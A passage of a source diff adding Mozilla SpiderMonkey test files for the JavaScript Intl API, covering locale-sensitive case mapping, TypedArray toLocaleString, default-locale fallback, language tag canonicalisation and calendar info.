+ assertEq("A".toLocaleLowerCase(locale), "a");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/String/toLocaleUpperCase.js b/js/src/tests/non262/Intl/String/toLocaleUpperCase.js
new file mode 100644
index 0000000000..0a33320dc7
--- /dev/null
+++ b/js/src/tests/non262/Intl/String/toLocaleUpperCase.js
@@ -0,0 +1,64 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// Test language dependent special casing with different language tags.
+for (let locale of ["lt", "LT", "lt-LT", "lt-u-co-phonebk", "lt-x-lietuva"]) {
+ assertEq("i\u0307".toLocaleUpperCase(locale), "I");
+ assertEq("i\u0307".toLocaleUpperCase([locale]), "I");
+
+ // Additional language tags are ignored.
+ assertEq("i\u0307".toLocaleUpperCase([locale, "und"]), "I");
+ assertEq("i\u0307".toLocaleUpperCase(["und", locale]), "I\u0307");
+}
+
+// Ensure "lti" (Leti) isn't misrecognized as "lt", even though both share the
+// same prefix.
+assertEq("i\u0307".toLocaleUpperCase("lti"), "I\u0307");
+assertEq("i\u0307".toLocaleUpperCase(["lti"]), "I\u0307");
+
+// Language tag is always verified.
+for (let locale of ["no_locale", "lt-invalid_ext", ["no_locale"], ["en", "no_locale"]]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase(locale), RangeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase(locale), RangeError);
+}
+
+// No locale argument, undefined as locale, and empty array or array-like all
+// return the same result. Testing with "a/A" because it has only simple case
+// mappings.
+assertEq("a".toLocaleUpperCase(), "A");
+assertEq("a".toLocaleUpperCase(undefined), "A");
+assertEq("a".toLocaleUpperCase([]), "A");
+assertEq("a".toLocaleUpperCase({}), "A");
+assertEq("a".toLocaleUpperCase({length: 0}), "A");
+assertEq("a".toLocaleUpperCase({length: -1}), "A");
+
+// Test with incorrect locale type.
+for (let locale of [null, 0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase([locale]), TypeError);
+}
+
+// Primitives are converted with ToObject and then queried for .length property.
+for (let locale of [null]) {
+ // Empty input string.
+ assertThrowsInstanceOf(() => "".toLocaleUpperCase([locale]), TypeError);
+
+ // Non-empty input string.
+ assertThrowsInstanceOf(() => "a".toLocaleUpperCase([locale]), TypeError);
+}
+// ToLength(ToObject(<primitive>)) returns 0.
+for (let locale of [0, Math.PI, NaN, Infinity, true, false, Symbol()]) {
+ // Empty input string.
+ assertEq("".toLocaleUpperCase(locale), "");
+
+ // Non-empty input string.
+ assertEq("a".toLocaleUpperCase(locale), "A");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Intl/TypedArray/shell.js b/js/src/tests/non262/Intl/TypedArray/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/TypedArray/shell.js
diff --git a/js/src/tests/non262/Intl/TypedArray/toLocaleString.js b/js/src/tests/non262/Intl/TypedArray/toLocaleString.js
new file mode 100644
index 0000000000..7a5d0be30a
--- /dev/null
+++ b/js/src/tests/non262/Intl/TypedArray/toLocaleString.js
@@ -0,0 +1,103 @@
+if (typeof Intl === "object") {
+ const constructors = [
+ Int8Array,
+ Uint8Array,
+ Uint8ClampedArray,
+ Int16Array,
+ Uint16Array,
+ Int32Array,
+ Uint32Array,
+ Float32Array,
+ Float64Array,
+ ];
+
+ const localeSep = [,,].toLocaleString();
+
+ const originalNumberToLocaleString = Number.prototype.toLocaleString;
+
+ // Missing arguments are passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], undefined);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Missing options is passed as |undefined|.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], undefined);
+ return "pass";
+ };
+ let locales = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ // Ensure "locales" and "options" arguments are passed to the array elements.
+ for (let constructor of constructors) {
+ Number.prototype.toLocaleString = function() {
+ assertEq(arguments.length, 2);
+ assertEq(arguments[0], locales);
+ assertEq(arguments[1], options);
+ return "pass";
+ };
+ let locales = {};
+ let options = {};
+
+ // Single element case.
+ assertEq(new constructor(1).toLocaleString(locales, options), "pass");
+
+ // More than one element.
+ assertEq(new constructor(2).toLocaleString(locales, options), "pass" + localeSep + "pass");
+ }
+ Number.prototype.toLocaleString = originalNumberToLocaleString;
+
+ assertEq(new Float32Array([NaN]).toLocaleString("ar"), "ليس رقم");
+ assertEq(new Float64Array([NaN]).toLocaleString(["zh-hant", "ar"]), "非數值");
+ assertEq(new Float32Array([Infinity]).toLocaleString(["dz"]), "གྲངས་མེད");
+ assertEq(new Float64Array([-Infinity]).toLocaleString(["fr", "en"]), "-∞");
+
+ const sampleValues = [-0, +0, -1, +1, -2, +2, -0.5, +0.5];
+ const sampleLocales = [
+ void 0,
+ "en",
+ "th-th-u-nu-thai",
+ ["tlh", "de"],
+ ];
+ const sampleOptions = [
+ void 0,
+ {},
+ {style: "percent"},
+ {style: "currency", currency: "USD", minimumIntegerDigits: 4},
+ ];
+ for (let locale of sampleLocales) {
+ for (let options of sampleOptions) {
+ let nf = new Intl.NumberFormat(locale, options);
+ for (let constructor of constructors) {
+ let typedArray = new constructor(sampleValues);
+ let expected = [].map.call(typedArray, nf.format).join(localeSep);
+ assertEq(typedArray.toLocaleString(locale, options), expected);
+ }
+ }
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/available-locales-implied-script.js b/js/src/tests/non262/Intl/available-locales-implied-script.js
new file mode 100644
index 0000000000..d9abbebf49
--- /dev/null
+++ b/js/src/tests/non262/Intl/available-locales-implied-script.js
@@ -0,0 +1,35 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+// Test all Intl service constructors.
+for (let intlConstructor of intlConstructors) {
+ // Retrieve all available locales of the given Intl service constructor.
+ let available = getAvailableLocalesOf(intlConstructor.name);
+ let availableSet = new Set(available);
+
+ available.filter(x => {
+ return new Intl.Locale(x);
+ }).filter(loc => {
+ // Find all locales which have both a script and a region subtag.
+ return loc.script && loc.region;
+ }).forEach(loc => {
+ let noScript = `${loc.language}-${loc.region}`;
+
+ // The locale without a script subtag must also be available.
+ assertEq(availableSet.has(noScript), true, `Missing locale ${noScript} for ${loc}`);
+ });
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/available-locales-resolved.js b/js/src/tests/non262/Intl/available-locales-resolved.js
new file mode 100644
index 0000000000..76b144d275
--- /dev/null
+++ b/js/src/tests/non262/Intl/available-locales-resolved.js
@@ -0,0 +1,41 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+// Test all Intl service constructors.
+for (let intlConstructor of intlConstructors) {
+ // Retrieve all available locales of the given Intl service constructor.
+ let available = getAvailableLocalesOf(intlConstructor.name);
+
+ // "best fit" matchers could potentially return a different locale, so we only
+ // test with "lookup" locale matchers. (NB: We don't yet support "best fit"
+ // matchers.)
+ let options = {localeMatcher: "lookup"};
+
+ if (intlConstructor === Intl.DisplayNames) {
+ // Intl.DisplayNames can't be constructed without the "type" option.
+ options.type = "language";
+ }
+
+ for (let locale of available) {
+ let obj = new intlConstructor(locale, options);
+ let resolved = obj.resolvedOptions();
+
+ // If |locale| is an available locale, the "lookup" locale matcher should
+ // pick exactly that locale.
+ assertEq(resolved.locale, locale);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/available-locales-supported.js b/js/src/tests/non262/Intl/available-locales-supported.js
new file mode 100644
index 0000000000..d11b5d714f
--- /dev/null
+++ b/js/src/tests/non262/Intl/available-locales-supported.js
@@ -0,0 +1,26 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+if (typeof getAvailableLocalesOf === "undefined") {
+ var getAvailableLocalesOf = SpecialPowers.Cu.getJSTestingFunctions().getAvailableLocalesOf;
+}
+
+function IsIntlService(c) {
+ return typeof c === "function" &&
+ c.hasOwnProperty("prototype") &&
+ c.prototype.hasOwnProperty("resolvedOptions");
+}
+
+const intlConstructors = Object.getOwnPropertyNames(Intl).map(name => Intl[name]).filter(IsIntlService);
+
+// Test all Intl service constructors.
+for (let intlConstructor of intlConstructors) {
+ // Retrieve all available locales of the given Intl service constructor.
+ let available = getAvailableLocalesOf(intlConstructor.name);
+
+ // All available locales must be reported as supported.
+ let supported = intlConstructor.supportedLocalesOf(available);
+ assertEqArray(supported, available);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js b/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js
new file mode 100644
index 0000000000..16a0e0348f
--- /dev/null
+++ b/js/src/tests/non262/Intl/best-available-locale-from-default-locale.js
@@ -0,0 +1,107 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+if (typeof getDefaultLocale === "undefined") {
+ var getDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().getDefaultLocale;
+}
+if (typeof setDefaultLocale === "undefined") {
+ var setDefaultLocale = SpecialPowers.Cu.getJSTestingFunctions().setDefaultLocale;
+}
+
+let defaultLocale = null;
+
+function withLocale(locale, fn) {
+ if (defaultLocale === null)
+ defaultLocale = getDefaultLocale();
+
+ setDefaultLocale(locale);
+ try {
+ fn();
+ } finally {
+ setDefaultLocale(defaultLocale);
+ }
+}
+
+// This test assumes Azerbaijani ("az") is a supported locale.
+const supported = Intl.Collator.supportedLocalesOf("az");
+assertEq(supported.length, 1);
+assertEq(supported[0], "az");
+
+withLocale("az", () => {
+ // Ensure the new default locale is now active.
+ assertEq(new Intl.Collator().resolvedOptions().locale, "az");
+
+ // "az" is the active default locale, so explicitly requesting "az" should succeed.
+ assertEq(new Intl.Collator("az").resolvedOptions().locale, "az");
+
+ // ICU doesn't provide a specialised "az-Cyrl" locale, so we fallback to "az".
+ assertEq(new Intl.Collator("az-Cyrl").resolvedOptions().locale, "az");
+
+ // ICU doesn't provide a specialised "az-Cyrl-AZ" locale, so we fallback to "az".
+ assertEq(new Intl.Collator("az-Cyrl-AZ").resolvedOptions().locale, "az");
+});
+
+// As demonstrated above, "az-Cyrl-AZ" normally isn't a supported Intl.Collator locale. But when
+// used as the default locale, it gets promoted to being supported, because its parent locale "az"
+// is supported and can act as a fallback.
+//
+// This works as follows:
+// We accept any default locale as long as it can be supported either explicitly or implicitly
+// through a fallback. But when we claim a default locale is supported, we also need to make sure
+// we report any parent locale as being supported. So when "az-Cyrl-AZ" is accepted as the
+// default locale, we also need to report its parent locale "az-Cyrl" as a supported locale.
+//
+// The reason we're doing this, is to make sure we aren't limiting the supported default locale to
+// the intersection of the sets of supported locales for each Intl service constructor. Also see
+// the requirements in <https://tc39.es/ecma402/#sec-internal-slots>, which state that the default
+// locale must be a member of [[AvailableLocales]] for every Intl service constructor.
+//
+// So the following statement must hold:
+//
+// ∀ Constructor ∈ IntlConstructors: DefaultLocale ∈ Constructor.[[AvailableLocales]]
+//
+// This can trivially be achieved when we restrict the default locale to:
+//
+// { RequestedLocale if RequestedLocale ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// DefaultLocale = { Fallback(RequestedLocale) if Fallback(RequestedLocale) ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// { LastDitchLocale otherwise
+//
+// But that severely restricts the possible default locales. For example, "az-Cyrl-AZ" is supported
+// by all Intl constructors except Intl.Collator. Intl.Collator itself only provides explicit
+// support for the parent locale "az". So with the trivial solution we'd need to mark "az-Cyrl-AZ"
+// as an invalid default locale and instead use its fallback locale "az".
+//
+// So instead of that we're using the following approach:
+//
+// { RequestedLocale if RequestedLocale ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// DefaultLocale = { RequestedLocale if Fallback(RequestedLocale) ∈ (∩ C.[[AvailableLocales]])
+// { C ∈ IntlConstructors
+// {
+// { LastDitchLocale otherwise
+//
+// So even when the requested default locale is only implicitly supported through a fallback, we
+// still accept it as a valid default locale.
+withLocale("az-Cyrl-AZ", () => {
+ // Ensure the new default locale is now active.
+ assertEq(new Intl.Collator().resolvedOptions().locale, "az-Cyrl-AZ");
+
+ // "az-Cyrl-AZ" is the active default locale, so explicitly requesting the parent locale
+ // "az" should succeed.
+ assertEq(new Intl.Collator("az").resolvedOptions().locale, "az");
+
+ // "az-Cyrl-AZ" is the active default locale, so explicitly requesting the parent locale
+ // "az-Cyrl" should succeed.
+ assertEq(new Intl.Collator("az-Cyrl").resolvedOptions().locale, "az-Cyrl");
+
+ // "az-Cyrl-AZ" is the active default locale, so explicitly requesting "az-Cyrl-AZ"
+ // should succeed.
+ assertEq(new Intl.Collator("az-Cyrl-AZ").resolvedOptions().locale, "az-Cyrl-AZ");
+});
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/browser.js b/js/src/tests/non262/Intl/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/browser.js
diff --git a/js/src/tests/non262/Intl/default-locale-shell.js b/js/src/tests/non262/Intl/default-locale-shell.js
new file mode 100644
index 0000000000..ea3f6d17db
--- /dev/null
+++ b/js/src/tests/non262/Intl/default-locale-shell.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!xulRuntime.shell)
+
+// js/src/tests/lib/tests.py sets the default locale to "en-US" for shell tests.
+// Ensure it's correctly set in the runtime and for the Intl service constructors.
+const defaultLocale = "en-US";
+
+assertEq(getDefaultLocale(), defaultLocale);
+
+assertEq(new Intl.Collator().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.DateTimeFormat().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.NumberFormat().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.PluralRules().resolvedOptions().locale, defaultLocale);
+assertEq(new Intl.RelativeTimeFormat().resolvedOptions().locale, defaultLocale);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/duplicate-variants.js b/js/src/tests/non262/Intl/duplicate-variants.js
new file mode 100644
index 0000000000..5d07a9b109
--- /dev/null
+++ b/js/src/tests/non262/Intl/duplicate-variants.js
@@ -0,0 +1,46 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+
+// RFC 5646 section 2.1
+// variant = 5*8alphanum ; registered variants
+// / (DIGIT 3alphanum)
+
+// Duplicate variants are forbidden.
+assertEqArray(Intl.getCanonicalLocales("de-1996"), ["de-1996"]);
+assertThrowsInstanceOf(() => Intl.getCanonicalLocales("de-1996-1996"), RangeError);
+
+// Multiple different variants are allowed.
+assertEqArray(Intl.getCanonicalLocales("sl-rozaj-solba"), ["sl-rozaj-solba"]);
+
+// Variants can have the same prefix.
+assertEqArray(Intl.getCanonicalLocales("zh-Latn-pinyin-pinyin2"), ["zh-Latn-pinyin-pinyin2"]);
+
+// Values in extension sequences are not counted as variants.
+assertEqArray(Intl.getCanonicalLocales("en-u-kf-false-kn-false"), ["en-u-kf-false-kn-false"]);
+
+// Also test duplicates in Unicode extension keywords and attributes.
+// From https://tools.ietf.org/html/rfc6067#section-2.1
+//
+// An 'attribute' is a subtag with a length of three to eight
+// characters following the singleton and preceding any 'keyword'
+// sequences. No attributes were defined at the time of this
+// document's publication.
+//
+// A 'keyword' is a sequence of subtags consisting of a 'key' subtag,
+// followed by zero or more 'type' subtags (so a 'key' might appear
+// alone and not be accompanied by a 'type' subtag). A 'key' MUST
+// NOT appear more than once in a language tag's extension string.
+//
+// ...
+//
+// Only the first occurrence of an attribute or key conveys meaning in a
+// language tag. When interpreting tags containing the Unicode locale
+// extension, duplicate attributes or keywords are ignored in the
+// following way: ignore any attribute that has already appeared in the
+// tag and ignore any keyword whose key has already occurred in the tag.
+//
+// The duplicates itself are removed in CanonicalizeUnicodeLocaleId, step 2-3.
+assertEqArray(Intl.getCanonicalLocales("en-u-kn-false-kn-false"), ["en-u-kn-false"]);
+assertEqArray(Intl.getCanonicalLocales("en-u-attr1-attr2-attr2"), ["en-u-attr1-attr2"]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/extensions/browser.js b/js/src/tests/non262/Intl/extensions/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/browser.js
diff --git a/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js b/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js
new file mode 100644
index 0000000000..5b2ee124aa
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/options-value-emulates-undefined.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(!xulRuntime.shell||!this.hasOwnProperty('Intl'))
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 843004;
+var summary =
+ "Use of an object that emulates |undefined| as the sole option must " +
+ "preclude imputing default values";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var opt = createIsHTMLDDA();
+opt.toString = function() { return "long"; };
+
+var str = new Date(2013, 12 - 1, 14).toLocaleString("en-US", { weekday: opt });
+
+// Because "weekday" was present and not undefined (stringifying to "long"),
+// this must be a string like "Saturday" (in this implementation, that is).
+assertEq(str, "Saturday");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Intl/extensions/shell.js b/js/src/tests/non262/Intl/extensions/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/shell.js
diff --git a/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js b/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js
new file mode 100644
index 0000000000..ead69a4632
--- /dev/null
+++ b/js/src/tests/non262/Intl/extensions/unicode-extension-sequences.js
@@ -0,0 +1,74 @@
+// |reftest| skip-if(!this.getSelfHostedValue)
+
+const startOfUnicodeExtensions = getSelfHostedValue("startOfUnicodeExtensions");
+const endOfUnicodeExtensions = getSelfHostedValue("endOfUnicodeExtensions");
+
+const testcases = [
+ // Language tag without Unicode extension.
+ { locale: "en", start: -1, end: 0 },
+ { locale: "en-Latn", start: -1, end: 0 },
+ { locale: "en-x-y", start: -1, end: 0 },
+ { locale: "en-x-yz", start: -1, end: 0 },
+ { locale: "en-x-u-kf", start: -1, end: 0 },
+
+ // Unicode extension sequence starts with key subtag.
+ // - no suceeding key or type subtags.
+ { locale: "en-u-ab", start: 2, end: 7 },
+ { locale: "en-u-ab-x-y", start: 2, end: 7 },
+ { locale: "en-u-ab-x-yz", start: 2, end: 7 },
+ { locale: "en-u-ab-x-u-kn", start: 2, end: 7 },
+ // - followed by key subtag.
+ { locale: "en-u-ab-cd", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-y", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-yz", start: 2, end: 10 },
+ { locale: "en-u-ab-cd-x-u-kn", start: 2, end: 10 },
+ // - followed by type subtag.
+ { locale: "en-u-ab-cdef", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-y", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-yz", start: 2, end: 12 },
+ { locale: "en-u-ab-cdef-x-y-u-kn", start: 2, end: 12 },
+
+ // Unicode extension sequence starts with attribute subtag.
+ // - no suceeding attribute or key subtags.
+ { locale: "en-u-abc", start: 2, end: 8 },
+ { locale: "en-u-abc-x-y", start: 2, end: 8 },
+ { locale: "en-u-abc-x-yz", start: 2, end: 8 },
+ { locale: "en-u-abc-x-y-u-kn", start: 2, end: 8 },
+ // - followed by attribute subtag.
+ { locale: "en-u-abc-def", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-y", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-yz", start: 2, end: 12 },
+ { locale: "en-u-abc-def-x-y-u-kn", start: 2, end: 12 },
+ // - followed by key subtag.
+ { locale: "en-u-abc-de", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-y", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-yz", start: 2, end: 11 },
+ { locale: "en-u-abc-de-x-y-u-kn", start: 2, end: 11 },
+ // - followed by two key subtags.
+ { locale: "en-u-abc-de-fg", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-y", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-yz", start: 2, end: 14 },
+ { locale: "en-u-abc-de-fg-x-y-u-kn", start: 2, end: 14 },
+ // - followed by key and type subtag.
+ { locale: "en-u-abc-de-fgh", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-y", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-yz", start: 2, end: 15 },
+ { locale: "en-u-abc-de-fgh-x-y-u-kn", start: 2, end: 15 },
+
+ // Also test when the Unicode extension doesn't start at index 2.
+ { locale: "en-Latn-u-kf", start: 7, end: 12 },
+ { locale: "und-u-kf", start: 3, end: 8 },
+];
+
+for (const {locale, start, end} of testcases) {
+ // Ensure the input is a valid language tag.
+ assertEqArray(Intl.getCanonicalLocales(locale), [locale]);
+
+ assertEq(startOfUnicodeExtensions(locale), start);
+
+ if (start >= 0)
+ assertEq(endOfUnicodeExtensions(locale, start), end);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/fallback-symbol.js b/js/src/tests/non262/Intl/fallback-symbol.js
new file mode 100644
index 0000000000..87943257ce
--- /dev/null
+++ b/js/src/tests/non262/Intl/fallback-symbol.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty('Intl'))
+
+function IntlFallbackSymbol(constructor) {
+ return Object.getOwnPropertySymbols(constructor.call(Object.create(constructor.prototype)))[0];
+}
+
+const dateTimeFormatIntlFallbackSymbol = IntlFallbackSymbol(Intl.DateTimeFormat);
+const numberFormatIntlFallbackSymbol = IntlFallbackSymbol(Intl.NumberFormat);
+
+// Intl.DateTimeFormat and Intl.NumberFormat both use the same fallback symbol.
+assertEq(dateTimeFormatIntlFallbackSymbol, numberFormatIntlFallbackSymbol);
+
+const intlFallbackSymbol = dateTimeFormatIntlFallbackSymbol;
+
+// The fallback symbol is a Symbol value.
+assertEq(typeof intlFallbackSymbol, "symbol");
+
+// Test the description of the fallback symbol.
+assertEq(Symbol.prototype.toString.call(intlFallbackSymbol), "Symbol(IntlLegacyConstructedSymbol)");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Intl/four-letter-language-codes.js b/js/src/tests/non262/Intl/four-letter-language-codes.js
new file mode 100644
index 0000000000..394efacf29
--- /dev/null
+++ b/js/src/tests/non262/Intl/four-letter-language-codes.js
@@ -0,0 +1,22 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Four letter language subtags are not allowed.
+const languageTags = [
+ "root", // Special meaning in Unicode CLDR locale identifiers.
+ "Latn", // Unicode CLDR locale identifiers can start with a script subtag.
+ "Flob", // And now some non-sense input.
+ "ZORK",
+ "Blah-latn",
+ "QuuX-latn-us",
+ "SPAM-gb-x-Sausages-BACON-eggs",
+];
+
+for (let tag of languageTags) {
+ assertThrowsInstanceOf(() => Intl.getCanonicalLocales(tag), RangeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCalendarInfo.js b/js/src/tests/non262/Intl/getCalendarInfo.js
new file mode 100644
index 0000000000..5c9a8e24da
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCalendarInfo.js
@@ -0,0 +1,76 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl")||!this.hasOwnProperty("addIntlExtras"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCalendarInfo function with a diverse set of arguments.
+
+function checkCalendarInfo(info, expected)
+{
+ assertEq(Object.getPrototypeOf(info), Object.prototype);
+
+ assertEq(info.firstDayOfWeek, expected.firstDayOfWeek);
+ assertEq(info.minDays, expected.minDays);
+ assertDeepEq(info.weekend, expected.weekend);
+ assertEq(info.calendar, expected.calendar);
+ assertEq(info.locale, expected.locale);
+}
+
+addIntlExtras(Intl);
+
+let gCI = Intl.getCalendarInfo;
+
+assertEq(gCI.length, 1);
+
+checkCalendarInfo(gCI('en-US'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekend: [6, 7],
+ calendar: "gregory",
+ locale: "en-US"
+});
+
+checkCalendarInfo(gCI('en-IL'), {
+ firstDayOfWeek: 7,
+ minDays: 1,
+ weekend: [5, 6],
+ calendar: "gregory",
+ locale: "en-IL"
+});
+
+
+checkCalendarInfo(gCI('en-GB'), {
+ firstDayOfWeek: 1,
+ minDays: 4,
+ weekend: [6, 7],
+ calendar: "gregory",
+ locale: "en-GB"
+});
+
+
+checkCalendarInfo(gCI('pl'), {
+ firstDayOfWeek: 1,
+ minDays: 4,
+ weekend: [6, 7],
+ calendar: "gregory",
+ locale: "pl"
+});
+
+checkCalendarInfo(gCI('ar-IQ'), {
+ firstDayOfWeek: 6,
+ minDays: 1,
+ weekend: [5, 6],
+ calendar: "gregory",
+ locale: "ar-IQ"
+});
+
+checkCalendarInfo(gCI('fa-IR'), {
+ firstDayOfWeek: 6,
+ minDays: 1,
+ weekend: [5],
+ calendar: "persian",
+ locale: "fa-IR"
+});
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js
new file mode 100644
index 0000000000..f0cb3d4ee3
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-arg-length.js
@@ -0,0 +1,20 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overridden argument's length.
+
+var count = 0;
+var locs = { get length() { if (count++ > 0) throw 42; return 0; } };
+var locales = Intl.getCanonicalLocales(locs); // shouldn't throw 42
+assertEq(locales.length, 0);
+
+
+var obj = { get 0() { throw new Error("must not be gotten!"); },
+ length: -Math.pow(2, 32) + 1 };
+
+assertEq(Intl.getCanonicalLocales(obj).length, 0);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js
new file mode 100644
index 0000000000..36f53ebf06
--- /dev/null
+++ b/js/src/tests/non262/Intl/getCanonicalLocales-overridden-push.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!this.hasOwnProperty("Intl"))
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Tests the getCanonicalLocales function for overriden Array.push.
+
+Array.prototype.push = () => { throw 42; };
+
+// must not throw 42, might if push is used
+var arr = Intl.getCanonicalLocales(["en-US"]);
+
+assertEqArray(arr, ["en-US"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
